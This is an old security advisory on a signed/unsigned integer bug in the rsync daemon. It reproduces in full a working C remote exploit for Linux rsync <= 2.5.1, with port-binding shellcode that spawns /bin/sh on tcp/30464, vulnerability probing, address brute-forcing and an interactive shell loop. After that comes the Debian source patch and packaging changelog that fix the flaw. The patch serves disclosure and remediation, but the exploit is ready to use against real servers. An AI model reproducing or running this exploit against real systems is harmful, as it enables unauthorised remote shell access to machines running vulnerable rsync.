18th Nov 2002 [SBWID-5034]
COMMAND

	rsync remote heap corruption

SYSTEMS AFFECTED

	 rsync < 2.3.2-1.3
	 linux rsync <= 2.5.1

PROBLEM

	Sebastian Krahmer from SuSe [http://www.suse.com] found :
	
	They are several places in rsync where signed and unsigned  numbers  are
	mixed which could be exploited by setting arguments to negative  values.
	This could be abused by remote users to write 0-bytes in rsync's  memory
	and trick rsync into executing arbitrary code.
	
	No  more  details  where   provided,   see   diff   below   for   better
	comprehension.
	
	 Update (18 November 2002)
	 ======
	
	/*
	 * linux rsync <= 2.5.1 remote exploit by sorbo (sorbox@yahoo.com)
	 *
	 * this is a simple frame pointer overflow:
	 *
	 * in exclude.c in recv_exclude_list(), l is declared as int.
	 * we can pass a negative value for l and fool l >= MAXPATHLEN
	 * read_sbuf will in turn do a buf[len] = 0; (without performing any reads)
	 * we can modify read_sbuf's saved frame pointer by putting a 0 in the LSB. 
	 * When read_sbuf exits the stack pointer will be set to the modified value
	 * we then pop a return address that lies on line[] where we can make it point to our shellcode
	 * ... quite simple =D
	 *
	 * NOTE: in configuration chroot must be false
	 *
	 * running: ./sorsync -b -v 127.0.0.1
	 * should work on any linux =D
	 *
	 *
	 * greetz:
	 * #darkircop@undernet
	 * kewlcat@efnet (for telling me about the bug)
	 * gunzip@ircnet (moral support =P )
	 *
	 */
	 
	
	#include <stdlib.h>
	#include <stdio.h>
	#include <unistd.h>
	#include <string.h>
	#include <sys/time.h>
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <netinet/in.h>       
	#include <arpa/inet.h>
	
	
	
	#define MAXPATHLEN 4095
	
	int nopcount = 80;
	
	char shellcode[] =
	/* port bind tcp/30464 ***/
	/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
	"\x31\xc0"                      // xorl    %eax,%eax
	"\x31\xdb"                      // xorl    %ebx,%ebx
	"\x31\xc9"                      // xorl    %ecx,%ecx
	"\x31\xd2"                      // xorl    %edx,%edx
	"\xb0\x66"                      // movb    $0x66,%al
	"\xb3\x01"                      // movb    $0x1,%bl
	"\x51"                          // pushl   %ecx
	"\xb1\x06"                      // movb    $0x6,%cl
	"\x51"                          // pushl   %ecx
	"\xb1\x01"                      // movb    $0x1,%cl
	"\x51"                          // pushl   %ecx
	"\xb1\x02"                      // movb    $0x2,%cl
	"\x51"                          // pushl   %ecx
	"\x8d\x0c\x24"                  // leal    (%esp),%ecx
	"\xcd\x80"                      // int     $0x80
	
	/* port is 30464 !!! */
	/* bind(fd, (struct sockaddr)&sin,  sizeof(sin) ) */
	"\xb3\x02"                      // movb    $0x2,%bl
	"\xb1\x02"                      // movb    $0x2,%cl
	"\x31\xc9"                      // xorl    %ecx,%ecx
	"\x51"                          // pushl   %ecx
	"\x51"                          // pushl   %ecx
	"\x51"                          // pushl   %ecx
	/* port = 0x77, change if needed */
	"\x80\xc1\x77"                  // addb    $0x77,%cl
	"\x66\x51"                      // pushl   %cx
	"\xb1\x02"                      // movb    $0x2,%cl
	"\x66\x51"                      // pushw   %cx
	"\x8d\x0c\x24"                  // leal    (%esp),%ecx
	"\xb2\x10"                      // movb    $0x10,%dl
	"\x52"                          // pushl   %edx
	"\x51"                          // pushl   %ecx
	"\x50"                          // pushl   %eax
	"\x8d\x0c\x24"                  // leal    (%esp),%ecx
	"\x89\xc2"                      // movl    %eax,%edx
	"\x31\xc0"                      // xorl    %eax,%eax
	"\xb0\x66"                      // movb    $0x66,%al
	"\xcd\x80"                      // int     $0x80
	
	/* listen(fd, 1) */
	"\xb3\x01"                      // movb    $0x1,%bl
	"\x53"                          // pushl   %ebx
	"\x52"                          // pushl   %edx
	"\x8d\x0c\x24"                  // leal    (%esp),%ecx
	"\x31\xc0"                      // xorl    %eax,%eax
	"\xb0\x66"                      // movb    $0x66,%al
	"\x80\xc3\x03"                  // addb    $0x3,%bl
	"\xcd\x80"                      // int     $0x80
	
	/* cli = accept(fd, 0, 0) */
	"\x31\xc0"                      // xorl    %eax,%eax
	"\x50"                          // pushl   %eax
	"\x50"                          // pushl   %eax
	"\x52"                          // pushl   %edx
	"\x8d\x0c\x24"                  // leal    (%esp),%ecx
	"\xb3\x05"                      // movl    $0x5,%bl
	"\xb0\x66"                      // movl    $0x66,%al
	"\xcd\x80"                      // int     $0x80
	
	/* dup2(cli, 0) */
	"\x89\xc3"                      // movl    %eax,%ebx
	"\x31\xc9"                      // xorl    %ecx,%ecx
	"\x31\xc0"                      // xorl    %eax,%eax
	"\xb0\x3f"                      // movb    $0x3f,%al
	"\xcd\x80"                      // int     $0x80
	
	/* dup2(cli, 1) */
	"\x41"                          // inc     %ecx
	"\x31\xc0"                      // xorl    %eax,%eax
	"\xb0\x3f"                      // movl    $0x3f,%al
	"\xcd\x80"                      // int     $0x80
	
	/* dup2(cli, 2) */
	"\x41"                          // inc     %ecx
	"\x31\xc0"                      // xorl    %eax,%eax
	"\xb0\x3f"                      // movb    $0x3f,%al
	"\xcd\x80"                      // int     $0x80
	
	/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
	"\x31\xdb"                      // xorl    %ebx,%ebx
	"\x53"                          // pushl   %ebx
	"\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
	"\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
	"\x89\xe3"                      // movl    %esp,%ebx
	"\x8d\x54\x24\x08"              // leal    0x8(%esp),%edx
	"\x31\xc9"                      // xorl    %ecx,%ecx
	"\x51"                          // pushl   %ecx
	"\x53"                          // pushl   %ebx
	"\x8d\x0c\x24"                  // leal    (%esp),%ecx
	"\x31\xc0"                      // xorl    %eax,%eax
	"\xb0\x0b"                      // movb    $0xb,%al
	"\xcd\x80"                      // int     $0x80
	
	/* exit(%ebx) */
	"\x31\xc0"                      // xorl    %eax,%eax
	"\xb0\x01"                      // movb    $0x1,%al
	"\xcd\x80";                     // int     $0x80
	
	struct sockaddr_in s_in;
	char module[256];		/* module to use */
	
	
	void die(int p, char *m) {
	        if(p)
	                perror(m);
	        else
	                printf("%s\n",m);
	        exit(0);
	}
	
	
	/* check if data is avaliable to be read */
	int checkData(int s) {
		int rd;
	        fd_set rfds;
	        struct timeval tv;
	                	
		FD_ZERO(&rfds);
		FD_SET(s, &rfds);
	
		tv.tv_sec = 5;
		tv.tv_usec = 0;
	
			                      
		rd = select(s+1,&rfds,NULL,NULL,&tv);
		if(rd < 0)
			die(1,"select()");
		return rd;
	}
	
	
	/* get data from server with timeout */
	void get(int s) {
	        char buff[1024];
	        int rd;
	
		while(1) {
			rd = checkData(s);
			if(rd == 0)
				return;
				
		        rd = recv(s,buff,sizeof(buff),0);
			if(!rd)
				return;
			
		        if(rd == -1)
		                die(1,"recv()");
	        }
	}
	
	
	/*
	 * connects, gets version string and replies with same version
	 *
	 */
	int connect_and_version() {
		int rd;
		char buff[80];
		
		int s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
		if(s < 0)
			die(1,"socket()");
		
		if(connect(s,(struct sockaddr*)&s_in,sizeof(s_in)) < 0)
			die(1,"connect()");
	
	
		/* get version and send same ver */
		if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
			die(1,"recv()");
		send(s,buff,rd,0);
	
		return s;
	}
	
	/* send module and other stuff untill we arrive to recv_exclude_list() */
	void login(int s) {
		char buff[80];
		
		/* send module name */
		snprintf(buff,sizeof(buff),"%s\n",module);
		send(s,buff,strlen(buff),0);
		
		/* send stuff to get to recv_exclude_list() */
	        send(s,"--server\n",9,0);
	        send(s,"--sender\n",9,0);
	        send(s,"\n",1,0);
		                        
	}
	
	/* try to connect to the shell */
	void ride() {
	        fd_set rfds;
	        int rd;
		int s;
		struct sockaddr_in s_in2;
		char buff[1024];
	
		memcpy(&s_in2,&s_in,sizeof(s_in2));
		s_in2.sin_port = htons(30464);
		
		s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
		if(s < 0)
			die(1,"socket()");
	
		if(connect(s,(struct sockaddr *)&s_in2,sizeof(s_in2)) < 0) {
			close(s);
			return;	/* failed */
		}
		
		
		/* successs */
	        send(s,"id;\n",4,0);
	
	        while(1) {
	       	        FD_ZERO(&rfds);
	                FD_SET(0, &rfds);
	                FD_SET(s, &rfds);
	
	                if(select(s+1, &rfds, NULL, NULL, NULL) < 1)
	                        exit(0);
	
	                if(FD_ISSET(0,&rfds)) {
	                        if( (rd = read(0,buff,sizeof(buff))) < 1)
	                                exit(0);
	                        if( send(s,buff,rd,0) != rd)
	                                exit(0);
	
	                }
	                if(FD_ISSET(s,&rfds)) {
	                        if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
	                                exit(0);
	                        write(1,buff,rd);
	                }
	        }
	}
	
	
	/* do the actual overflow
	 * 
	 * len is the len that makes line[len] point to read_sbuf's LSB of the saved FP
	 * line is the address of the line buffer
	 *
	 */
	void doOverflow(int len, int line,int align) {
		int s,rd;
		int *ptr;
		char buff[MAXPATHLEN];
		
		s = connect_and_version();
		login(s);
	
		printf("Trying with len=%d and line=0x%x (shellcode=0x%x) align=%d\n",len,line,line+abs(len),align);
	
		memset(buff,'A',align);
	
		/* prepare egg and send it */
		for(ptr = (int*) (&buff[0]+align); (char*)ptr < ((char*)&buff[MAXPATHLEN]-3); ptr++)
			*ptr =  (line+abs(len));
		memset(buff+abs(len),'\x90',nopcount);
		memcpy(buff+abs(len)+nopcount,shellcode,strlen(shellcode));	/* possible overflow ;D */
		
		/* prepare and send length */	
		rd = MAXPATHLEN -1;
		send(s,&rd,sizeof(rd),0);
		
		/* send egg */
		send(s,buff,rd,0);
		
		
		/* send len (overwrite fp */
		send(s,&len,sizeof(len),0);
		
	
		/* make recv_exclude_list() exit */
		rd = 0;
		send(s,&rd,sizeof(rd),0);
	
	
		/* recieve any data from server and close */
		get(s);
		
		close(s);		
	
		/* check if exploitation was successfull */
		ride();
	}
	
	
	/* gets a module name */
	void getModule() {
		int s,rd;
		char mod[256];
		char *ptr;
	
		/* connect and get initial data */
		s = connect_and_version();
		get(s);
		
		/* list and get modules */
		send(s,"#list\n",6,0);
		rd = recv(s,mod,sizeof(mod),0);
		if(rd < 1)
			die(1,"recv()");
	
		mod[rd] = 0;
		ptr = (char*)strchr(mod,' ');
		if(!ptr)
			return;
		*ptr = 0;
		
		snprintf(module,sizeof(module),"%s",mod);
		if(module[0] == '@')
			die(0,"No modules!!!");
				
		close(s);	
	}
	
	void usage(char *p) {
		printf("Linux rsync <= 2.5.1 remote exploit by sorbo (sorbox@yahoo.com)\n");
		printf("Usage: %s <opts>\n",p);
	
		printf("-h this lame message\n");
		printf("-v victim ip\n");
		printf("-m module name\n");
		printf("-l len\n");
		printf("-s line address\n");
		printf("-b bruteforce\n");
		printf("-f force:don't check vuln\n");
		printf("-n number of NOPS\n"); 
		printf("-a align\n");
		exit(0);
	}
	
	
	/* check if vuln */
	int checkVuln() {
		int s,rd;
	                	
		s = connect_and_version();
		login(s);
		get(s);
	
		/* check for overflow */
		rd = -1;	
		send(s,&rd,sizeof(rd),0);
	
		/* now it either sends an overflow message
		 * (thus being not vuln )
		 * or it waits for input ... vuln
		 */
		if(!checkData(s))
			return 1;
				
		close(s);		
		return 0;
	}
	
	
	
	/* gets len variable
	 * it does so by seeing where ret addr of read_sbuf is
	 * it knows it overwrote the addr because the program will crash
	 * the fp will therefore be a word lower than the ret addr
	 *
	 */
	int getLen(int len) {
		int s;
	                	
		s = connect_and_version();
		login(s);
		get(s);
	
		while(1)  {
			printf("Trying len %d...\n",len);
			send(s,&len,sizeof(len),0);
			if(checkData(s)) {
				close(s);
				return len-4;
			}
			len-=4;
		}
	}
	
	
	int main(int argc, char *argv[]) {
		int opt;
		int m = 0;
		int len = -4;
		int line = 0xC0000000;
		int check = 1;
		int brute = 0;	/* bruteforce ;D */
		int l = 1;
		int align = 0;
		
	        if(argc < 2)
		        usage(argv[0]);
		
		while( (opt = getopt(argc,argv,"v:hm:l:s:bfn:a:")) != -1) {
			switch(opt) {
				case 'v':
					s_in.sin_addr.s_addr = inet_addr(optarg);
					break;
	
				case 'm':
					snprintf(module,sizeof(module),"%s",optarg);
					m++;
					break;
				
				case 'l':	
					l = 0;
					len = atoi(optarg);
					break;
					
				case 's':
					if(sscanf(optarg,"%x",&line) == -1) {
						printf("Invalid line address\n");
						exit(0);
					}
					break;
				
				case 'b':
					brute = 1;
					break;
					
				case 'f':
					check = 0;
					break;
					
				case 'n':
					nopcount = atoi(optarg);
					break;
						
	
				case 'a':
					align = atoi(optarg);
					break;
					
				case 'h':	
				default:
					usage(argv[0]);
			}
		}
		                        
		s_in.sin_family = PF_INET;
		s_in.sin_port = htons(873);
	
	
		if(!m) {
			printf("Getting module name...\n");
			getModule();
			printf("Module=%s\n",module);
		}
	
		if(check) {
			printf("Checking if vuln...\n");
			if(checkVuln()) 
				printf("Vuln!!\n");
			else {
				printf("Not vuln =(\n");
				exit(0);
			}
		}
	
		if(l) {
			len = getLen(len);
			printf("len=%d\n",len);
		}
		
		if(brute) {
			while(1) {
				doOverflow(len,line,align);
				line -= (nopcount-1);
			}
		}
		
		doOverflow(len,line,align);
		exit(0);
	}
	

SOLUTION

	
	--- rsync-2.3.2.orig/receiver.c
	+++ rsync-2.3.2/receiver.c
	@@ -200,7 +200,8 @@
	 static int receive_data(int f_in,struct map_struct *buf,int fd,char *fname,
	 			OFF_T total_size)
	 {
	-	int i,n,remainder,len,count;
	+	int i;
	+	unsigned int n,remainder,len,count;
	 	OFF_T offset = 0;
	 	OFF_T offset2;
	 	char *data;
	--- rsync-2.3.2.orig/io.c
	+++ rsync-2.3.2/io.c
	@@ -75,7 +75,7 @@
	 /* read from a socket with IO timeout. return the number of
	    bytes read. If no bytes can be read then exit, never return
	    a number <= 0 */
	-static int read_timeout(int fd, char *buf, int len)
	+static int read_timeout(int fd, char *buf, size_t len)
	 {
	 	int n, ret=0;
	 
	@@ -137,7 +137,7 @@
	 
	 /* continue trying to read len bytes - don't return until len
	    has been read */
	-static void read_loop(int fd, char *buf, int len)
	+static void read_loop(int fd, char *buf, size_t len)
	 {
	 	while (len) {
	 		int n = read_timeout(fd, buf, len);
	@@ -150,7 +150,7 @@
	 /* read from the file descriptor handling multiplexing - 
	    return number of bytes read
	    never return <= 0 */
	-static int read_unbuffered(int fd, char *buf, int len)
	+static int read_unbuffered(int fd, char *buf, size_t len)
	 {
	 	static int remaining;
	 	char ibuf[4];
	@@ -237,7 +237,7 @@
	 
	 /* do a buffered read from fd. don't return until all N bytes
	    have been read. If all N can't be read then exit with an error */
	-static void readfd(int fd,char *buffer,int N)
	+static void readfd(int fd,char *buffer,size_t N)
	 {
	 	int  ret;
	 	int total=0;  
	@@ -303,12 +303,12 @@
	 	return ret;
	 }
	 
	-void read_buf(int f,char *buf,int len)
	+void read_buf(int f,char *buf,size_t len)
	 {
	 	readfd(f,buf,len);
	 }
	 
	-void read_sbuf(int f,char *buf,int len)
	+void read_sbuf(int f,char *buf,size_t len)
	 {
	 	read_buf(f,buf,len);
	 	buf[len] = 0;
	@@ -326,7 +326,7 @@
	 /* write len bytes to fd, possibly reading from buffer_f_in if set
	    in order to unclog the pipe. don't return until all len
	    bytes have been written */
	-static void writefd_unbuffered(int fd,char *buf,int len)
	+static void writefd_unbuffered(int fd,char *buf,size_t len)
	 {
	 	int total = 0;
	 	fd_set w_fds, r_fds;
	@@ -439,7 +439,7 @@
	 	}
	 }
	 
	-static void writefd(int fd,char *buf,int len)
	+static void writefd(int fd,char *buf,size_t len)
	 {
	 	stats.total_written += len;
	 
	@@ -486,7 +486,7 @@
	 	writefd(f,b,8);
	 }
	 
	-void write_buf(int f,char *buf,int len)
	+void write_buf(int f,char *buf,size_t len)
	 {
	 	writefd(f,buf,len);
	 }
	@@ -503,7 +503,7 @@
	 	write_buf(f,(char *)&c,1);
	 }
	 
	-int read_line(int f, char *buf, int maxlen)
	+int read_line(int f, char *buf, size_t maxlen)
	 {
	 	eof_error = 0;
	 
	@@ -570,7 +570,7 @@
	 }
	 
	 /* write an message to the error stream */
	-int io_multiplex_write(int f, char *buf, int len)
	+int io_multiplex_write(int f, char *buf, size_t len)
	 {
	 	if (!io_multiplexing_out) return 0;
	 
	--- rsync-2.3.2.orig/Makefile.in
	+++ rsync-2.3.2/Makefile.in
	@@ -41,14 +41,14 @@
	 
	 install: all
	 	-mkdir -p ${bindir}
	-	${INSTALLCMD} -m 755 rsync ${bindir}
	+	${INSTALLCMD} ${STRIP_OPT} -m 755 rsync ${bindir}
	 	-mkdir -p ${mandir}/man1
	 	-mkdir -p ${mandir}/man5
	 	${INSTALLCMD} -m 644 $(srcdir)/rsync.1 ${mandir}/man1
	 	${INSTALLCMD} -m 644 $(srcdir)/rsyncd.conf.5 ${mandir}/man5
	 
	 install-strip:
	-	$(MAKE) INSTALLCMD='$(INSTALLCMD) -s' install
	+	$(MAKE) STRIP_OPT='-s' install
	 
	 rsync: $(OBJS)
	 	$(CC) $(CFLAGS) $(LDFLAGS) -o rsync $(OBJS) $(LIBS)
	@@ -66,7 +66,7 @@
	 	rm -f *~ $(OBJS) rsync 
	 
	 distclean: clean
	-	rm -f config.h config.cache config.status Makefile
	+	rm -f config.h config.cache config.status config.log Makefile
	 
	 
	 # this target is really just for my use. It only works on a limited
	--- rsync-2.3.2.orig/exclude.c
	+++ rsync-2.3.2/exclude.c
	@@ -298,7 +298,8 @@
	 void recv_exclude_list(int f)
	 {
	 	char line[MAXPATHLEN];
	-	int l;
	+	unsigned int l;
	+
	 	while ((l=read_int(f))) {
	 		if (l >= MAXPATHLEN) overflow("recv_exclude_list");
	 		read_sbuf(f,line,l);
	--- rsync-2.3.2.orig/util.c
	+++ rsync-2.3.2/util.c
	@@ -229,7 +229,7 @@
	 
	    derived from GNU C's cccp.c.
	 */
	-static int full_write(int desc, char *ptr, int len)
	+static int full_write(int desc, char *ptr, size_t len)
	 {
	 	int total_written;
	 	
	@@ -255,11 +255,11 @@
	    for an error.  
	 
	    derived from GNU C's cccp.c. */
	-static int safe_read(int desc, char *ptr, int len)
	+static int safe_read(int desc, char *ptr, size_t len)
	 {
	 	int n_chars;
	  
	-	if (len <= 0)
	+	if (len == 0)
	 		return len;
	  
	 #ifdef EINTR
	--- rsync-2.3.2.orig/fileio.c
	+++ rsync-2.3.2/fileio.c
	@@ -36,7 +36,7 @@
	 }
	 
	 
	-static int write_sparse(int f,char *buf,int len)
	+static int write_sparse(int f,char *buf,size_t len)
	 {
	 	int l1=0,l2=0;
	 	int ret;
	@@ -69,7 +69,7 @@
	 
	 
	 
	-int write_file(int f,char *buf,int len)
	+int write_file(int f,char *buf,size_t len)
	 {
	 	int ret = 0;
	 
	--- rsync-2.3.2.orig/loadparm.c
	+++ rsync-2.3.2/loadparm.c
	@@ -150,7 +150,7 @@
	 	False,   /* transfer logging */
	 	False,   /* ignore errors */
	 	"nobody",/* uid */
	-	"nobody",/* gid */
	+	"nogroup",/* gid */
	 	NULL,    /* hosts allow */
	 	NULL,    /* hosts deny */
	 	NULL,    /* auth users */
	--- rsync-2.3.2.orig/rsync.h
	+++ rsync-2.3.2/rsync.h
	@@ -323,9 +323,9 @@
	 
	 struct sum_struct {
	   OFF_T flength;		/* total file length */
	-  int count;			/* how many chunks */
	-  int remainder;		/* flength % block_length */
	-  int n;			/* block_length */
	+  size_t count;			/* how many chunks */
	+  size_t remainder;		/* flength % block_length */
	+  size_t n;			/* block_length */
	   struct sum_buf *sums;		/* points to info for each chunk */
	 };
	 
	
	--- rsync-2.3.2.orig/flist.c
	+++ rsync-2.3.2/flist.c
	@@ -282,7 +282,7 @@
	 	static gid_t last_gid;
	 	static char lastname[MAXPATHLEN];
	 	char thisname[MAXPATHLEN];
	-	int l1=0,l2=0;
	+	unsigned int l1=0,l2=0;
	 	char *p;
	 	struct file_struct *file;
	 
	@@ -345,6 +345,10 @@
	 
	 	if (preserve_links && S_ISLNK(file->mode)) {
	 		int l = read_int(f);
	+		if (l < 0) {
	+			rprintf(FERROR,"overflow: l=%d\n", l);
	+			overflow("receive_file_entry");
	+		}
	 		file->link = (char *)malloc(l+1);
	 		if (!file->link) out_of_memory("receive_file_entry 2");
	 		read_sbuf(f,file->link,l);
	--- rsync-2.3.2.orig/generator.c
	+++ rsync-2.3.2/generator.c
	@@ -192,7 +192,7 @@
	 		/* if the file exists already and we aren't perserving
	                    presmissions then act as though the remote end sent
	                    us the file permissions we already have */
	-		file->mode = st.st_mode;
	+		file->mode = (file->mode & _S_IFMT) | (st.st_mode & ~_S_IFMT);
	 	}
	 
	 	if (S_ISDIR(file->mode)) {
	--- rsync-2.3.2.orig/log.c
	+++ rsync-2.3.2/log.c
	@@ -192,6 +192,8 @@
	 	extern int am_daemon;
	 	int64 b;
	 
	+	memset(buf,0,sizeof(buf));
	+
	 	strlcpy(buf, format, sizeof(buf));
	 	
	 	for (s=&buf[0]; 
	@@ -253,7 +255,7 @@
	 
	 		l = strlen(n);
	 
	-		if ((l-1) + ((int)(s - &buf[0])) > sizeof(buf)) {
	+		if (l + ((int)(s - &buf[0])) > sizeof(buf)) {
	 			rprintf(FERROR,"buffer overflow expanding %%%c - exiting\n",
	 				p[0]);
	 			exit_cleanup(RERR_MESSAGEIO);
	--- rsync-2.3.2.orig/version.h
	+++ rsync-2.3.2/version.h
	@@ -1 +1 @@
	-#define VERSION "2.3.2"
	+#define VERSION "2.3.3pre1"
	--- rsync-2.3.2.orig/proto.h
	+++ rsync-2.3.2/proto.h
	@@ -36,7 +36,7 @@
	 void add_include_line(char *p);
	 void add_cvs_excludes(void);
	 int sparse_end(int f);
	-int write_file(int f,char *buf,int len);
	+int write_file(int f,char *buf,size_t len);
	 struct map_struct *map_file(int fd,OFF_T len);
	 char *map_ptr(struct map_struct *map,OFF_T offset,int len);
	 void unmap_file(struct map_struct *map);
	@@ -58,21 +58,21 @@
	 void setup_readbuffer(int f_in);
	 int32 read_int(int f);
	 int64 read_longint(int f);
	-void read_buf(int f,char *buf,int len);
	-void read_sbuf(int f,char *buf,int len);
	+void read_buf(int f,char *buf,size_t len);
	+void read_sbuf(int f,char *buf,size_t len);
	 unsigned char read_byte(int f);
	 void io_start_buffering(int fd);
	 void io_flush(void);
	 void io_end_buffering(int fd);
	 void write_int(int f,int32 x);
	 void write_longint(int f, int64 x);
	-void write_buf(int f,char *buf,int len);
	+void write_buf(int f,char *buf,size_t len);
	 void write_byte(int f,unsigned char c);
	-int read_line(int f, char *buf, int maxlen);
	+int read_line(int f, char *buf, size_t maxlen);
	 void io_printf(int fd, const char *format, ...);
	 void io_start_multiplex_out(int fd);
	 void io_start_multiplex_in(int fd);
	-int io_multiplex_write(int f, char *buf, int len);
	+int io_multiplex_write(int f, char *buf, size_t len);
	 void io_close_input(int fd);
	 char *lp_motd_file(void);
	 char *lp_log_file(void);
	--- rsync-2.3.2.orig/NEWS
	
	+++ rsync-2.3.2/NEWS
	@@ -0,0 +1,7 @@
	+rsync 2.3.3
	+
	+  SECURITY FIXES:
	+
	+    * Signedness security patch from Sebastian Krahmer
	+      <krahmer@suse.de> -- in some cases we were not sufficiently
	+      careful about reading integers from the network.
	--- rsync-2.3.2.orig/debian/dirs
	+++ rsync-2.3.2/debian/dirs
	@@ -0,0 +1,4 @@
	+usr/bin
	+usr/doc/rsync
	+usr/man/man1
	+usr/lib/debian-test/tests
	--- rsync-2.3.2.orig/debian/rules
	+++ rsync-2.3.2/debian/rules
	@@ -0,0 +1,59 @@
	+#!/usr/bin/make -f
	+# debian.rules file - for rsync 1.7.2
	+# Copyright 1996 by Philip Hands.
	+# Based on the  sample debian.rules file - for GNU Hello (1.3).
	+#   Copyright 1994,1995 by Ian Jackson.
	+# I hereby give you perpetual unlimited permission to copy,
	+# modify and relicense this file, provided that you do not remove
	+# my name from the file itself.  (I assert my moral right of
	+# paternity under the Copyright, Designs and Patents Act 1988.)
	+
	+SHELL	=	/bin/bash
	+BINS	=	rsync
	+
	+build:
	+	./configure --prefix=/usr --mandir='$${prefix}/share/man'
	+	$(MAKE)
	+	touch build
	+
	+clean: checkdir
	+	-rm -f build
	+	-$(MAKE) -i distclean || $(MAKE) -f Makefile.in distclean
	+	-rm -rf *~ debian/tmp debian/*~ debian/*.bak debian/files* debian/substvars
	+	-rm -f lib/dummy zlib/dummy
	+
	+binary-indep:	checkroot build
	+# nothing to do
	+
	+binary-arch:	checkroot build
	+	-rm -rf debian/tmp
	+	install -d debian/tmp \
	+		debian/tmp/DEBIAN \
	+		debian/tmp/usr/bin \
	+		debian/tmp/usr/share/doc/rsync \
	+		debian/tmp/usr/share/man/man1 \
	+		debian/tmp/usr/lib/debian-test/tests
	+	$(MAKE) install-strip prefix=`pwd`/debian/tmp/usr exec_prefix=`pwd`/debian/tmp/usr
	+	install -m 0644 debian/changelog debian/tmp/usr/share/doc/rsync/changelog.Debian
	+	install -m 0644 README tech_report.tex debian/tmp/usr/share/doc/rsync/
	+	gzip -9fr `find debian/tmp/usr/share/doc/ debian/tmp/usr/share/man/ -type f`
	+	install -m 0644 debian/copyright debian/tmp/usr/share/doc/rsync/copyright
	+	install -m 0755 test.sh debian/tmp/usr/lib/debian-test/tests/rsync
	+	install -m 0755 debian/postinst debian/prerm debian/tmp/DEBIAN
	+	dpkg-shlibdeps $(BINS)
	+	dpkg-gencontrol
	+	chown -R root.root debian/tmp
	+	chmod -R go=rX debian/tmp
	+	dpkg --build debian/tmp ..
	+
	+# Below here is fairly generic really
	+
	+binary:		binary-indep binary-arch
	+
	+checkdir:
	+	@test -f rsync.c -a -f debian/rules
	+
	+checkroot: checkdir
	+	@test 0 = `id -u` || { echo "Error: not super-user"; exit 1; }
	+
	+.PHONY: binary binary-arch binary-indep clean checkroot checkdir
	--- rsync-2.3.2.orig/debian/copyright
	+++ rsync-2.3.2/debian/copyright
	@@ -0,0 +1,24 @@
	+This is Debian/GNU Linux's prepackaged version of Andrew Tridgell and
	+Paul Mackerras' rsync utility.  This package provides the rsync program,
	+which is a replacement for rcp that uses the rsync algorythm to
	+transfer only the differences between two sets of files.
	+
	+This package was put together by Philip Hands <phil@hands.com>,
	+from sources obtained from:
	+  http://rsync.samba.org/ftp/rsync/rsync-2.3.2.tar.gz
	+
	+The changes were very minimal - merely adding support for the Debian
	+package maintenance scheme, by adding various debian/* files, and
	+tweaking the Makefile.in to allow the install prefix to be changed.
	+
	+
	+
	+COPYRIGHT
	+---------
	+
	+Rsync was written by Andrew Tridgell and Paul Mackerras, and is
	+available under the GPL.
	+
	+Andrew.Tridgell@anu.edu.au
	+paulus@cs.anu.edu.au
	+
	--- rsync-2.3.2.orig/debian/changelog
	+++ rsync-2.3.2/debian/changelog
	@@ -0,0 +1,223 @@
	+rsync (2.3.2-1.3) stable; urgency=high
	+
	+  * non-maintainer release by security team
	+  * Apply patch to fix signed/unsigned problems
	+
	+ -- Wichert Akkerman <wakkerma@debian.org>  Sat, 26 Jan 2002 01:32:44 +0100
	+
	+rsync (2.3.2-1.2) frozen unstable; urgency=low
	+
	+  * Apply patch from Jason Gunthorpe, to fix rsync segfaults.  Closes:
	+    #51705, #54850.
	+
	+ -- Adam Heath <doogie@debian.org>  Thu, 20 Jan 2000 00:31:00 -0600
	+
	+rsync (2.3.2-1.1) unstable; urgency=low
	+
	+  * Use rsync zlib again (closes:Bug#50248).
	+
	+ -- Joel Klecker <espy@debian.org>  Tue,  7 Dec 1999 09:46:25 -0800
	+
	+rsync (2.3.2-1) unstable; urgency=low
	+
	+  * New upstream release
	+  * use zlib from zlib1g-dev (closes: 38273)
	+  * switch to using /usr/share for docs, and add compatibility /usr/doc link
	+
	+ -- Philip Hands <phil@hands.com>  Thu, 11 Nov 1999 15:30:14 +0000
	+
	+rsync (2.3.1-2) unstable; urgency=low
	+
	+  * apply Patrik Rak's fix for directory atribute setting (closes: #36179)
	+
	+ -- Philip Hands <phil@hands.com>  Mon, 10 May 1999 12:24:16 +0100
	+
	+rsync (2.3.1-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Sat,  8 May 1999 10:53:53 +0100
	+
	+rsync (2.3.0-1) unstable; urgency=low
	+
	+  * New upstream release
	+  * change rsyncd's default group to ``nogroup'' (closes: #25299)
	+
	+ -- Philip Hands <phil@hands.com>  Tue, 16 Mar 1999 12:22:05 +0000
	+
	+rsync (2.2.1-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Sun,  6 Dec 1998 11:14:23 +0000
	+
	+rsync (2.2.0-2) unstable; urgency=low
	+
	+  * check if local ssh conections are allowed before using it as part of the
	+    test script.
	+
	+ -- Philip Hands <phil@hands.com>  Fri,  6 Nov 1998 10:23:07 +0000
	+
	+rsync (2.2.0-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Thu,  5 Nov 1998 15:47:05 +0000
	+
	+rsync (2.1.1-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Thu, 17 Sep 1998 17:35:41 +0100
	+
	+rsync (2.1.0-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Mon, 20 Jul 1998 11:52:26 +0100
	+
	+rsync (2.0.19-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Sat, 18 Jul 1998 01:19:18 +0100
	+
	+rsync (2.0.18-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Thu, 18 Jun 1998 15:52:11 +0100
	+
	+rsync (2.0.16-1) unstable; urgency=low
	+
	+  * New upstream release
	+
	+ -- Philip Hands <phil@hands.com>  Mon,  1 Jun 1998 15:04:58 +0100
	+
